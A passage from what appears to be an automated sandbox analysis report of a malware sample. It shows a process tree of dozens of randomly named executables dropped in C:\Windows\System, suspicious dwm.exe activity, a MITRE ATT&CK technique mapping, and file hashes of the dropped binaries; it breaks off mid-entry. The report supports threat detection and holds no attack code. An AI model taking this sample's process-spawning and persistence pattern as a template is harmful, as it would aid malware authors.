- C:\Windows\System\WEMOLIz.exe
  C:\Windows\System\WEMOLIz.exe
  2⤵
  PID:15216
- C:\Windows\System\knfDqPY.exe
  C:\Windows\System\knfDqPY.exe
  2⤵
  PID:15240
- C:\Windows\System\uzqGctN.exe
  C:\Windows\System\uzqGctN.exe
  2⤵
  PID:15272
- C:\Windows\System\fBBnAZh.exe
  C:\Windows\System\fBBnAZh.exe
  2⤵
  PID:15296
- C:\Windows\System\SLLopYq.exe
  C:\Windows\System\SLLopYq.exe
  2⤵
  PID:15316
- C:\Windows\System\sKLwyXM.exe
  C:\Windows\System\sKLwyXM.exe
  2⤵
  PID:15332
- C:\Windows\System\RkbCaZw.exe
  C:\Windows\System\RkbCaZw.exe
  2⤵
  PID:15348
- C:\Windows\System\iTdbQuy.exe
  C:\Windows\System\iTdbQuy.exe
  2⤵
  PID:14400
- C:\Windows\System\Dehduue.exe
  C:\Windows\System\Dehduue.exe
  2⤵
  PID:14440
- C:\Windows\System\HRPGVnC.exe
  C:\Windows\System\HRPGVnC.exe
  2⤵
  PID:14576
- C:\Windows\System\gcrpUyV.exe
  C:\Windows\System\gcrpUyV.exe
  2⤵
  PID:14612
- C:\Windows\System\IvgjXFr.exe
  C:\Windows\System\IvgjXFr.exe
  2⤵
  PID:14648
- C:\Windows\System\RqMGNpS.exe
  C:\Windows\System\RqMGNpS.exe
  2⤵
  PID:14692
- C:\Windows\System\TdyzMSE.exe
  C:\Windows\System\TdyzMSE.exe
  2⤵
  PID:14724
- C:\Windows\System\KmSurIK.exe
  C:\Windows\System\KmSurIK.exe
  2⤵
  PID:14764
- C:\Windows\System\meFJFDp.exe
  C:\Windows\System\meFJFDp.exe
  2⤵
  PID:14796
- C:\Windows\System\IutMLEY.exe
  C:\Windows\System\IutMLEY.exe
  2⤵
  PID:14600
- C:\Windows\System\qqUZcXz.exe
  C:\Windows\System\qqUZcXz.exe
  2⤵
  PID:14536
- C:\Windows\System\kPhJGQh.exe
  C:\Windows\System\kPhJGQh.exe
  2⤵
  PID:14884
- C:\Windows\System\urknGWm.exe
  C:\Windows\System\urknGWm.exe
  2⤵
  PID:3684
- C:\Windows\System\BBmqlzH.exe
  C:\Windows\System\BBmqlzH.exe
  2⤵
  PID:14980
- C:\Windows\System\CCQGNJh.exe
  C:\Windows\System\CCQGNJh.exe
  2⤵
  PID:15104
- C:\Windows\System\hZtkGAR.exe
  C:\Windows\System\hZtkGAR.exe
  2⤵
  PID:15132
- C:\Windows\System\IWDmNIa.exe
  C:\Windows\System\IWDmNIa.exe
  2⤵
  PID:15180
- C:\Windows\System\lHlxAEA.exe
  C:\Windows\System\lHlxAEA.exe
  2⤵
  PID:15324
- C:\Windows\System\mZBLSgU.exe
  C:\Windows\System\mZBLSgU.exe
  2⤵
  PID:564
- C:\Windows\System\PtgvaUd.exe
  C:\Windows\System\PtgvaUd.exe
  2⤵
  PID:960
- C:\Windows\System\vSHGMsQ.exe
  C:\Windows\System\vSHGMsQ.exe
  2⤵
  PID:1184
- C:\Windows\System\fmBmXru.exe
  C:\Windows\System\fmBmXru.exe
  2⤵
  PID:1380
- C:\Windows\System\fiVNJiE.exe
  C:\Windows\System\fiVNJiE.exe
  2⤵
  PID:14840
- C:\Windows\System\ODosYZZ.exe
  C:\Windows\System\ODosYZZ.exe
  2⤵
  PID:14748
- C:\Windows\System\eiAaNmA.exe
  C:\Windows\System\eiAaNmA.exe
  2⤵
  PID:14432
- C:\Windows\System\sKyXOvm.exe
  C:\Windows\System\sKyXOvm.exe
  2⤵
  PID:14968
- C:\Windows\System\QtrYYTg.exe
  C:\Windows\System\QtrYYTg.exe
  2⤵
  PID:14708
- C:\Windows\System\CyWKabT.exe
  C:\Windows\System\CyWKabT.exe
  2⤵
  PID:15304
- C:\Windows\System\mbcpasm.exe
  C:\Windows\System\mbcpasm.exe
  2⤵
  PID:14780
- C:\Windows\System\OTmYowp.exe
  C:\Windows\System\OTmYowp.exe
  2⤵
  PID:15152
- C:\Windows\System\NtSuFJW.exe
  C:\Windows\System\NtSuFJW.exe
  2⤵
  PID:15068
- C:\Windows\System\WQXxwYi.exe
  C:\Windows\System\WQXxwYi.exe
  2⤵
  PID:14464
- C:\Windows\System\MELGfmM.exe
  C:\Windows\System\MELGfmM.exe
  2⤵
  PID:15252
- C:\Windows\System\JDeNquV.exe
  C:\Windows\System\JDeNquV.exe
  2⤵
  PID:14688
- C:\Windows\System\bcvjZBb.exe
  C:\Windows\System\bcvjZBb.exe
  2⤵
  PID:14964
- C:\Windows\System\LxNVOmX.exe
  C:\Windows\System\LxNVOmX.exe
  2⤵
  PID:3836
- C:\Windows\System\bJPxmBz.exe
  C:\Windows\System\bJPxmBz.exe
  2⤵
  PID:14636
- C:\Windows\System\lddgHNH.exe
  C:\Windows\System\lddgHNH.exe
  2⤵
  PID:15260
- C:\Windows\System\mFhlABh.exe
  C:\Windows\System\mFhlABh.exe
  2⤵
  PID:15248
- C:\Windows\System\moefCLl.exe
  C:\Windows\System\moefCLl.exe
  2⤵
  PID:2608
- C:\Windows\System\LbsWQtu.exe
  C:\Windows\System\LbsWQtu.exe
  2⤵
  PID:14920
- C:\Windows\System\gQSxQCC.exe
  C:\Windows\System\gQSxQCC.exe
  2⤵
  PID:14556
- C:\Windows\System\bBrjbFD.exe
  C:\Windows\System\bBrjbFD.exe
  2⤵
  PID:14948
- C:\Windows\System\qZccyin.exe
  C:\Windows\System\qZccyin.exe
  2⤵
  PID:14520
- C:\Windows\System\oZnfkGg.exe
  C:\Windows\System\oZnfkGg.exe
  2⤵
  PID:14936
- C:\Windows\System\QRsHHpm.exe
  C:\Windows\System\QRsHHpm.exe
  2⤵
  PID:14628
- C:\Windows\System\HAoDdGW.exe
  C:\Windows\System\HAoDdGW.exe
  2⤵
  PID:15364
- C:\Windows\System\AIaRZOn.exe
  C:\Windows\System\AIaRZOn.exe
  2⤵
  PID:15380
- C:\Windows\System\kHWAVjR.exe
  C:\Windows\System\kHWAVjR.exe
  2⤵
  PID:15396
- C:\Windows\System\EsQYZMK.exe
  C:\Windows\System\EsQYZMK.exe
  2⤵
  PID:15412
- C:\Windows\System\pbeQoQJ.exe
  C:\Windows\System\pbeQoQJ.exe
  2⤵
  PID:15440
- C:\Windows\System\CHFRtes.exe
  C:\Windows\System\CHFRtes.exe
  2⤵
  PID:15488
- C:\Windows\System\Idfcpjg.exe
  C:\Windows\System\Idfcpjg.exe
  2⤵
  PID:15524
- C:\Windows\System\nASSAOU.exe
  C:\Windows\System\nASSAOU.exe
  2⤵
  PID:15532
- C:\Windows\System\DjzEVFu.exe
  C:\Windows\System\DjzEVFu.exe
  2⤵
  PID:15540
- C:\Windows\System\GZuUTXX.exe
  C:\Windows\System\GZuUTXX.exe
  2⤵
  PID:15612
- C:\Windows\System\JKLXwWZ.exe
  C:\Windows\System\JKLXwWZ.exe
  2⤵
  PID:15652
- C:\Windows\System\pGwiTBY.exe
  C:\Windows\System\pGwiTBY.exe
  2⤵
  PID:15668
- C:\Windows\System\QLOlTps.exe
  C:\Windows\System\QLOlTps.exe
  2⤵
  PID:15688
- C:\Windows\System\sjxlmxJ.exe
  C:\Windows\System\sjxlmxJ.exe
  2⤵
  PID:15744
- C:\Windows\System\NGluvQx.exe
  C:\Windows\System\NGluvQx.exe
  2⤵
  PID:15848
- C:\Windows\System\GRXFpeS.exe
  C:\Windows\System\GRXFpeS.exe
  2⤵
  PID:15892
- C:\Windows\System\wwUdbOo.exe
  C:\Windows\System\wwUdbOo.exe
  2⤵
  PID:15960
- C:\Windows\System\QrCKBPo.exe
  C:\Windows\System\QrCKBPo.exe
  2⤵
  PID:15984
- C:\Windows\System\ePfMyMw.exe
  C:\Windows\System\ePfMyMw.exe
  2⤵
  PID:16044
- C:\Windows\System\QjSDBuU.exe
  C:\Windows\System\QjSDBuU.exe
  2⤵
  PID:4632
- C:\Windows\System\MIlnNLT.exe
  C:\Windows\System\MIlnNLT.exe
  2⤵
  PID:4372
- C:\Windows\System\qNETrfd.exe
  C:\Windows\System\qNETrfd.exe
  2⤵
  PID:16164
- C:\Windows\System\gMxqUau.exe
  C:\Windows\System\gMxqUau.exe
  2⤵
  PID:15580
- C:\Windows\System\zeSLipk.exe
  C:\Windows\System\zeSLipk.exe
  2⤵
  PID:16192
- C:\Windows\System\ySAJPyB.exe
  C:\Windows\System\ySAJPyB.exe
  2⤵
  PID:16208
- C:\Windows\System\HHZDvke.exe
  C:\Windows\System\HHZDvke.exe
  2⤵
  PID:16224
- C:\Windows\System\cEjFYIR.exe
  C:\Windows\System\cEjFYIR.exe
  2⤵
  PID:16240
- C:\Windows\System\kPnPBvk.exe
  C:\Windows\System\kPnPBvk.exe
  2⤵
  PID:16260
- C:\Windows\System\Wcbtahi.exe
  C:\Windows\System\Wcbtahi.exe
  2⤵
  PID:16276
- C:\Windows\System\xfsXzuE.exe
  C:\Windows\System\xfsXzuE.exe
  2⤵
  PID:16292
- C:\Windows\System\oZqDDbl.exe
  C:\Windows\System\oZqDDbl.exe
  2⤵
  PID:16308
- C:\Windows\System\XzSxHTi.exe
  C:\Windows\System\XzSxHTi.exe
  2⤵
  PID:16328
- C:\Windows\System\gHFnaXW.exe
  C:\Windows\System\gHFnaXW.exe
  2⤵
  PID:16344
- C:\Windows\System\mTTUTNN.exe
  C:\Windows\System\mTTUTNN.exe
  2⤵
  PID:16360
- C:\Windows\System\eflvagv.exe
  C:\Windows\System\eflvagv.exe
  2⤵
  PID:16376
- C:\Windows\System\zxgaivZ.exe
  C:\Windows\System\zxgaivZ.exe
  2⤵
  PID:15376
- C:\Windows\System\buXVKob.exe
  C:\Windows\System\buXVKob.exe
  2⤵
  PID:15428
- C:\Windows\System\CkXKgnu.exe
  C:\Windows\System\CkXKgnu.exe
  2⤵
  PID:15464
- C:\Windows\System\RAoktBv.exe
  C:\Windows\System\RAoktBv.exe
  2⤵
  PID:15520
- C:\Windows\System\nPpimYS.exe
  C:\Windows\System\nPpimYS.exe
  2⤵
  PID:15888
- C:\Windows\System\eEXdvXm.exe
  C:\Windows\System\eEXdvXm.exe
  2⤵
  PID:15932
- C:\Windows\System\NbLQHvD.exe
  C:\Windows\System\NbLQHvD.exe
  2⤵
  PID:15952
- C:\Windows\System\amDFiNZ.exe
  C:\Windows\System\amDFiNZ.exe
  2⤵
  PID:15972
- C:\Windows\System\Snezehc.exe
  C:\Windows\System\Snezehc.exe
  2⤵
  PID:16020
- C:\Windows\System\WYPHaXI.exe
  C:\Windows\System\WYPHaXI.exe
  2⤵
  PID:16052
- C:\Windows\System\LDBwIYz.exe
  C:\Windows\System\LDBwIYz.exe
  2⤵
  PID:16084
- C:\Windows\System\wdItmhr.exe
  C:\Windows\System\wdItmhr.exe
  2⤵
  PID:16108
- C:\Windows\System\ajigfVG.exe
  C:\Windows\System\ajigfVG.exe
  2⤵
  PID:15588
- C:\Windows\System\vZOtAbS.exe
  C:\Windows\System\vZOtAbS.exe
  2⤵
  PID:16248
- C:\Windows\System\xonImgv.exe
  C:\Windows\System\xonImgv.exe
  2⤵
  PID:15512
- C:\Windows\System\fVZNHyK.exe
  C:\Windows\System\fVZNHyK.exe
  2⤵
  PID:14340
- C:\Windows\System\fnvHTVs.exe
  C:\Windows\System\fnvHTVs.exe
  2⤵
  PID:13988
- C:\Windows\System\rQcgnIr.exe
  C:\Windows\System\rQcgnIr.exe
  2⤵
  PID:16128
- C:\Windows\System\WyGcvWf.exe
  C:\Windows\System\WyGcvWf.exe
  2⤵
  PID:1536
- C:\Windows\System\xdklmJi.exe
  C:\Windows\System\xdklmJi.exe
  2⤵
  PID:3956
- C:\Windows\System\vtRdsaO.exe
  C:\Windows\System\vtRdsaO.exe
  2⤵
  PID:2000
- C:\Windows\System\wVgvbwV.exe
  C:\Windows\System\wVgvbwV.exe
  2⤵
  PID:556
- C:\Windows\System\csVnMFj.exe
  C:\Windows\System\csVnMFj.exe
  2⤵
  PID:16076
- C:\Windows\System\wRsUiNH.exe
  C:\Windows\System\wRsUiNH.exe
  2⤵
  PID:16008
- C:\Windows\System\HKXjqzD.exe
  C:\Windows\System\HKXjqzD.exe
  2⤵
  PID:16232
- C:\Windows\System\qmuVMve.exe
  C:\Windows\System\qmuVMve.exe
  2⤵
  PID:16272
- C:\Windows\System\baMgpeh.exe
  C:\Windows\System\baMgpeh.exe
  2⤵
  PID:16320
- C:\Windows\System\KyDbwHS.exe
  C:\Windows\System\KyDbwHS.exe
  2⤵
  PID:16368
- C:\Windows\System\EwaKqkP.exe
  C:\Windows\System\EwaKqkP.exe
  2⤵
  PID:15404
- C:\Windows\System\calJZEX.exe
  C:\Windows\System\calJZEX.exe
  2⤵
  PID:5076
- C:\Windows\System\XBUmOgN.exe
  C:\Windows\System\XBUmOgN.exe
  2⤵
  PID:15208
- C:\Windows\System\SycxuwL.exe
  C:\Windows\System\SycxuwL.exe
  2⤵
  PID:3844
- C:\Windows\System\BtkNWjO.exe
  C:\Windows\System\BtkNWjO.exe
  2⤵
  PID:15264
- C:\Windows\System\pmrZkZS.exe
  C:\Windows\System\pmrZkZS.exe
  2⤵
  PID:15552
- C:\Windows\System\yJpeyDq.exe
  C:\Windows\System\yJpeyDq.exe
  2⤵
  PID:1332
- C:\Windows\System\uqzlwnT.exe
  C:\Windows\System\uqzlwnT.exe
  2⤵
  PID:15740
- C:\Windows\System\wRdbNkF.exe
  C:\Windows\System\wRdbNkF.exe
  2⤵
  PID:15776
- C:\Windows\System\uGeVDAn.exe
  C:\Windows\System\uGeVDAn.exe
  2⤵
  PID:15808
- C:\Windows\System\eGpODmm.exe
  C:\Windows\System\eGpODmm.exe
  2⤵
  PID:15724
- C:\Windows\System\nmKkdqD.exe
  C:\Windows\System\nmKkdqD.exe
  2⤵
  PID:15628
- C:\Windows\System\CRXbzpA.exe
  C:\Windows\System\CRXbzpA.exe
  2⤵
  PID:2200
- C:\Windows\System\tkPzhfq.exe
  C:\Windows\System\tkPzhfq.exe
  2⤵
  PID:15796
- C:\Windows\System\vbOeVGo.exe
  C:\Windows\System\vbOeVGo.exe
  2⤵
  PID:15576
- C:\Windows\System\wxXKzEZ.exe
  C:\Windows\System\wxXKzEZ.exe
  2⤵
  PID:15836
- C:\Windows\System\eFfvpAC.exe
  C:\Windows\System\eFfvpAC.exe
  2⤵
  PID:3716
- C:\Windows\System\zZWrMcP.exe
  C:\Windows\System\zZWrMcP.exe
  2⤵
  PID:15948
- C:\Windows\System\CbPlCtg.exe
  C:\Windows\System\CbPlCtg.exe
  2⤵
  PID:5092
- C:\Windows\System\uIYQCtu.exe
  C:\Windows\System\uIYQCtu.exe
  2⤵
  PID:3548
- C:\Windows\System\QGErfvi.exe
  C:\Windows\System\QGErfvi.exe
  2⤵
  PID:15924
- C:\Windows\System\WJnEewM.exe
  C:\Windows\System\WJnEewM.exe
  2⤵
  PID:2856
- C:\Windows\System\OmJerqf.exe
  C:\Windows\System\OmJerqf.exe
  2⤵
  PID:16012
- C:\Windows\System\YgHWIcv.exe
  C:\Windows\System\YgHWIcv.exe
  2⤵
  PID:16068
- C:\Windows\System\KJLvdjf.exe
  C:\Windows\System\KJLvdjf.exe
  2⤵
  PID:16100
- C:\Windows\System\bMoIJrp.exe
  C:\Windows\System\bMoIJrp.exe
  2⤵
  PID:15600
- C:\Windows\System\XiLgvxZ.exe
  C:\Windows\System\XiLgvxZ.exe
  2⤵
  PID:15536
- C:\Windows\System\mvYNdUn.exe
  C:\Windows\System\mvYNdUn.exe
  2⤵
  PID:16124
- C:\Windows\System\YPJNrCX.exe
  C:\Windows\System\YPJNrCX.exe
  2⤵
  PID:14024
- C:\Windows\System\YBTplgF.exe
  C:\Windows\System\YBTplgF.exe
  2⤵
  PID:4736
- C:\Windows\System\ZePgBAC.exe
  C:\Windows\System\ZePgBAC.exe
  2⤵
  PID:16140
- C:\Windows\System\ojQFRLi.exe
  C:\Windows\System\ojQFRLi.exe
  2⤵
  PID:16144
- C:\Windows\System\BXvZArY.exe
  C:\Windows\System\BXvZArY.exe
  2⤵
  PID:3912
- C:\Windows\System\sXMXmfN.exe
  C:\Windows\System\sXMXmfN.exe
  2⤵
  PID:4268
- C:\Windows\System\odmYbXx.exe
  C:\Windows\System\odmYbXx.exe
  2⤵
  PID:2964
- C:\Windows\System\uzSsImW.exe
  C:\Windows\System\uzSsImW.exe
  2⤵
  PID:16088
- C:\Windows\System\PENEsPs.exe
  C:\Windows\System\PENEsPs.exe
  2⤵
  PID:15996
- C:\Windows\System\HEJZmtT.exe
  C:\Windows\System\HEJZmtT.exe
  2⤵
  PID:552
- C:\Windows\System\UbSihdN.exe
  C:\Windows\System\UbSihdN.exe
  2⤵
  PID:4568
- C:\Windows\System\uQqEJtg.exe
  C:\Windows\System\uQqEJtg.exe
  2⤵
  PID:16304
- C:\Windows\System\nAHuKAB.exe
  C:\Windows\System\nAHuKAB.exe
  2⤵
  PID:1628
- C:\Windows\System\zxCAuxp.exe
  C:\Windows\System\zxCAuxp.exe
  2⤵
  PID:1364
- C:\Windows\System\EtmLeqV.exe
  C:\Windows\System\EtmLeqV.exe
  2⤵
  PID:14508
- C:\Windows\System\UdNzXmg.exe
  C:\Windows\System\UdNzXmg.exe
  2⤵
  PID:15172
- C:\Windows\System\MHHkmYg.exe
  C:\Windows\System\MHHkmYg.exe
  2⤵
  PID:4000
- C:\Windows\System\JkhRpIR.exe
  C:\Windows\System\JkhRpIR.exe
  2⤵
  PID:2160
- C:\Windows\System\bbBNUfM.exe
  C:\Windows\System\bbBNUfM.exe
  2⤵
  PID:15584
- C:\Windows\System\lfZEYjI.exe
  C:\Windows\System\lfZEYjI.exe
  2⤵
  PID:888
- C:\Windows\System\upXAoRY.exe
  C:\Windows\System\upXAoRY.exe
  2⤵
  PID:3600
- C:\Windows\System\TaPLVaG.exe
  C:\Windows\System\TaPLVaG.exe
  2⤵
  PID:4400
- C:\Windows\System\dojOmvQ.exe
  C:\Windows\System\dojOmvQ.exe
  2⤵
  PID:2584
- C:\Windows\System\nGuKEQT.exe
  C:\Windows\System\nGuKEQT.exe
  2⤵
  PID:6952
- C:\Windows\System\FChdwxP.exe
  C:\Windows\System\FChdwxP.exe
  2⤵
  PID:2812
- C:\Windows\System\fKYlbSe.exe
  C:\Windows\System\fKYlbSe.exe
  2⤵
  PID:3288
- C:\Windows\System\IGHcZFZ.exe
  C:\Windows\System\IGHcZFZ.exe
  2⤵
  PID:7140
- C:\Windows\System\XErTtPX.exe
  C:\Windows\System\XErTtPX.exe
  2⤵
  PID:768
- C:\Windows\System\MDMvqmQ.exe
  C:\Windows\System\MDMvqmQ.exe
  2⤵
  PID:7128
- C:\Windows\System\iDMvXMq.exe
  C:\Windows\System\iDMvXMq.exe
  2⤵
  PID:1936
- C:\Windows\System\uFUIIJX.exe
  C:\Windows\System\uFUIIJX.exe
  2⤵
  PID:15760
- C:\Windows\System\FvFWSII.exe
  C:\Windows\System\FvFWSII.exe
  2⤵
  PID:7284
- C:\Windows\System\CADNzwP.exe
  C:\Windows\System\CADNzwP.exe
  2⤵
  PID:7484
- C:\Windows\System\jLxGYPA.exe
  C:\Windows\System\jLxGYPA.exe
  2⤵
  PID:7528
- C:\Windows\System\xPHfDRe.exe
  C:\Windows\System\xPHfDRe.exe
  2⤵
  PID:7644
- C:\Windows\System\ghmGVNf.exe
  C:\Windows\System\ghmGVNf.exe
  2⤵
  PID:7684
- C:\Windows\System\HUGQlAH.exe
  C:\Windows\System\HUGQlAH.exe
  2⤵
  PID:7760
- C:\Windows\System\lZfmQkB.exe
  C:\Windows\System\lZfmQkB.exe
  2⤵
  PID:7772
- C:\Windows\System\yMxfjKi.exe
  C:\Windows\System\yMxfjKi.exe
  2⤵
  PID:7916
- C:\Windows\System\resfOYh.exe
  C:\Windows\System\resfOYh.exe
  2⤵
  PID:2976
- C:\Windows\System\qzFICku.exe
  C:\Windows\System\qzFICku.exe
  2⤵
  PID:1412
- C:\Windows\System\gpxHLiC.exe
  C:\Windows\System\gpxHLiC.exe
  2⤵
  PID:4652
- C:\Windows\System\SvOXQCH.exe
  C:\Windows\System\SvOXQCH.exe
  2⤵
  PID:2544
- C:\Windows\System\EyimxVa.exe
  C:\Windows\System\EyimxVa.exe
  2⤵
  PID:4904
- C:\Windows\System\WFRJRFd.exe
  C:\Windows\System\WFRJRFd.exe
  2⤵
  PID:15788
- C:\Windows\System\GoLqoqB.exe
  C:\Windows\System\GoLqoqB.exe
  2⤵
  PID:8080
- C:\Windows\System\iGtThHr.exe
  C:\Windows\System\iGtThHr.exe
  2⤵
  PID:3644
- C:\Windows\System\xRbpNJF.exe
  C:\Windows\System\xRbpNJF.exe
  2⤵
  PID:15832
- C:\Windows\System\yqGlJns.exe
  C:\Windows\System\yqGlJns.exe
  2⤵
  PID:2392
- C:\Windows\System\BYfFlRL.exe
  C:\Windows\System\BYfFlRL.exe
  2⤵
  PID:13436
- C:\Windows\System\YCoSoeH.exe
  C:\Windows\System\YCoSoeH.exe
  2⤵
  PID:15700
- C:\Windows\System\LlPrFEc.exe
  C:\Windows\System\LlPrFEc.exe
  2⤵
  PID:15728
- C:\Windows\System\uaWwyte.exe
  C:\Windows\System\uaWwyte.exe
  2⤵
  PID:2752
- C:\Windows\System\adCDykP.exe
  C:\Windows\System\adCDykP.exe
  2⤵
  PID:15800
- C:\Windows\System\oCSoyAn.exe
  C:\Windows\System\oCSoyAn.exe
  2⤵
  PID:3960
- C:\Windows\System\rXapyIj.exe
  C:\Windows\System\rXapyIj.exe
  2⤵
  PID:15868
- C:\Windows\System\tukyPTd.exe
  C:\Windows\System\tukyPTd.exe
  2⤵
  PID:7456
- C:\Windows\System\dgZgZoI.exe
  C:\Windows\System\dgZgZoI.exe
  2⤵
  PID:15928
- C:\Windows\System\zmtMdSY.exe
  C:\Windows\System\zmtMdSY.exe
  2⤵
  PID:1340
- C:\Windows\System\qndsSqS.exe
  C:\Windows\System\qndsSqS.exe
  2⤵
  PID:2260
- C:\Windows\System\UNHwZvi.exe
  C:\Windows\System\UNHwZvi.exe
  2⤵
  PID:1676
- C:\Windows\System\GksmPmz.exe
  C:\Windows\System\GksmPmz.exe
  2⤵
  PID:15856
- C:\Windows\System\vFxHdBe.exe
  C:\Windows\System\vFxHdBe.exe
  2⤵
  PID:7752
- C:\Windows\System\iZjLNxD.exe
  C:\Windows\System\iZjLNxD.exe
  2⤵
  PID:3040
- C:\Windows\System\qRFbsMt.exe
  C:\Windows\System\qRFbsMt.exe
  2⤵
  PID:1092
- C:\Windows\System\EPIbGyG.exe
  C:\Windows\System\EPIbGyG.exe
  2⤵
  PID:7944
- C:\Windows\System\gJxGpyL.exe
  C:\Windows\System\gJxGpyL.exe
  2⤵
  PID:16016
- C:\Windows\System\CJmuTPf.exe
  C:\Windows\System\CJmuTPf.exe
  2⤵
  PID:8004
- C:\Windows\System\jnRMNOY.exe
  C:\Windows\System\jnRMNOY.exe
  2⤵
  PID:8084
- C:\Windows\System\TmwQMXy.exe
  C:\Windows\System\TmwQMXy.exe
  2⤵
  PID:16316
- C:\Windows\System\DVxvECk.exe
  C:\Windows\System\DVxvECk.exe
  2⤵
  PID:16120
- C:\Windows\System\KtKyrOZ.exe
  C:\Windows\System\KtKyrOZ.exe
  2⤵
  PID:4352
- C:\Windows\System\qpphJeg.exe
  C:\Windows\System\qpphJeg.exe
  2⤵
  PID:15620
- C:\Windows\System\AxUWLFU.exe
  C:\Windows\System\AxUWLFU.exe
  2⤵
  PID:14020
- C:\Windows\System\QkgEzwk.exe
  C:\Windows\System\QkgEzwk.exe
  2⤵
  PID:2012
- C:\Windows\System\KLmdOGO.exe
  C:\Windows\System\KLmdOGO.exe
  2⤵
  PID:13248
- C:\Windows\System\njAzhNC.exe
  C:\Windows\System\njAzhNC.exe
  2⤵
  PID:7660
- C:\Windows\System\DQSMeyk.exe
  C:\Windows\System\DQSMeyk.exe
  2⤵
  PID:12948
- C:\Windows\System\qCOQTeE.exe
  C:\Windows\System\qCOQTeE.exe
  2⤵
  PID:2896
- C:\Windows\System\mpBlUWt.exe
  C:\Windows\System\mpBlUWt.exe
  2⤵
  PID:4828
- C:\Windows\System\mPUecnO.exe
  C:\Windows\System\mPUecnO.exe
  2⤵
  PID:5132
- C:\Windows\System\RtgwFAY.exe
  C:\Windows\System\RtgwFAY.exe
  2⤵
  PID:3200
- C:\Windows\System\SoOLRdz.exe
  C:\Windows\System\SoOLRdz.exe
  2⤵
  PID:5160
- C:\Windows\System\JVgDwSn.exe
  C:\Windows\System\JVgDwSn.exe
  2⤵
  PID:2736
- C:\Windows\System\hrQnuLM.exe
  C:\Windows\System\hrQnuLM.exe
  2⤵
  PID:3128
- C:\Windows\System\AdQTrqY.exe
  C:\Windows\System\AdQTrqY.exe
  2⤵
  PID:8368
- C:\Windows\System\rTMyXsC.exe
  C:\Windows\System\rTMyXsC.exe
  2⤵
  PID:8412
- C:\Windows\System\CghKTGS.exe
  C:\Windows\System\CghKTGS.exe
  2⤵
  PID:16356
- C:\Windows\System\bgZOBJe.exe
  C:\Windows\System\bgZOBJe.exe
  2⤵
  PID:15472
- C:\Windows\System\EoyzwRj.exe
  C:\Windows\System\EoyzwRj.exe
  2⤵
  PID:3068
- C:\Windows\System\DqcKfVo.exe
  C:\Windows\System\DqcKfVo.exe
  2⤵
  PID:15560
- C:\Windows\System\wDqhDGB.exe
  C:\Windows\System\wDqhDGB.exe
  2⤵
  PID:15452
- C:\Windows\System\QfEOcNE.exe
  C:\Windows\System\QfEOcNE.exe
  2⤵
  PID:8508

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:14952

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:15576

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:15856

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:15976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dafoedqw.1th.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\BOSLlQZ.exe

Filesize
2.3MB

MD5
0fa2fe7f114f0cdba3eaa7fdfbe07c68

SHA1
a44124afb6147d698d6aab29a232d522bea94a90

SHA256
80c0c1063d858f9c30328c269d0e050c666ac4e88a2ae2d2f6fe5bf72b160517

SHA512
5cb45ce626255cb53b3f8a7eed9c806b981a609de9c87992fd8ca1158292c1cc3e6d7d0e56c8648a0543bc57d72120e74b6c51c4b24b6770725b969e3875030f

Download Submit
C:\Windows\System\BSauTJs.exe

Filesize
2.3MB

MD5
8300850252c3c2da205d7e846613a9a4

SHA1
1e65f8f0b00d558aa18c363d447afcf1817650a2

SHA256
154fb8bc691b234063a135ab8b50adea9e37e0b1990122c9607476fb25c003ad

SHA512
b33b8843b900db6031f5cf11496fad467dbbd7209fc179e7b43936713a523a7e00a1ebdbacebfca5a82fe1c2a819661996a14e21c3e23bebec7f8d2fa08bda09

Download Submit
C:\Windows\System\DIfgDeD.exe

Filesize
2.3MB

MD5
057d03d82c714e455dba8b575fa47abf

SHA1
ebd071c9fbfda7764d5e704acfece5d27d014ae8

SHA256
bd7c1de1d79073754f86bea7b8ffade0322cb34b60ca332621de487f1796b58e

SHA512
fe86068539679bbd98a9bd25a6548699c973fdfb6af6aeaea756c5824818d761deff2f426ef11c1f0b7bd10c41cd9200f89b41450432258e81702d26b68cfa84

Download Submit
C:\Windows\System\DWZzZKI.exe

Filesize
2.3MB

MD5
58d1ec1e472643d379b1053b310a81aa

SHA1
393c67bf98a9a4a68919f2d9502e42d34fa928e7

SHA256
011be37dd6c5dae3e15d47accc16c5774461ea0980427ff7bf2aec5e5dd83d6e

SHA512
55d22589a4ba9b40f738564970db6b2a137ab75b86cafd09c20488a69073a8274ef209ec7e19ec645f0da63dadce2b776ac7314d9646a3a9b5b9d65b4ce256ed

Download Submit
C:\Windows\System\DmSoQbT.exe

Filesize
2.3MB

MD5
cd5602a989d2bce74ed448f613b663b9

SHA1
a71502c3e95962d39cd264067187edaf01fa291a

SHA256
d89bb70e7a61e23e992b8c9ebbb1559e3c12421434cc01a82b7047dd129fd594

SHA512
302139866072ab2834687412339c36ac81bfbf539b3155735578e9b8779692b999dccec64a9630705fd2a44d264dd5afd2e135d3a81bf05fbc0ed3a0db840fdb

Download Submit
C:\Windows\System\HrxMKyU.exe

Filesize
2.3MB

MD5
0d016b9a26a40efad6fee9e5ad3a0d66

SHA1
e6b1e01f9f7fe65e9cbe0daecc035bf90b536ffb

SHA256
94071994edc39458bffeca8a20f8f69bb86581d5b9bca5dfac7bc694d0fd5f4c

SHA512
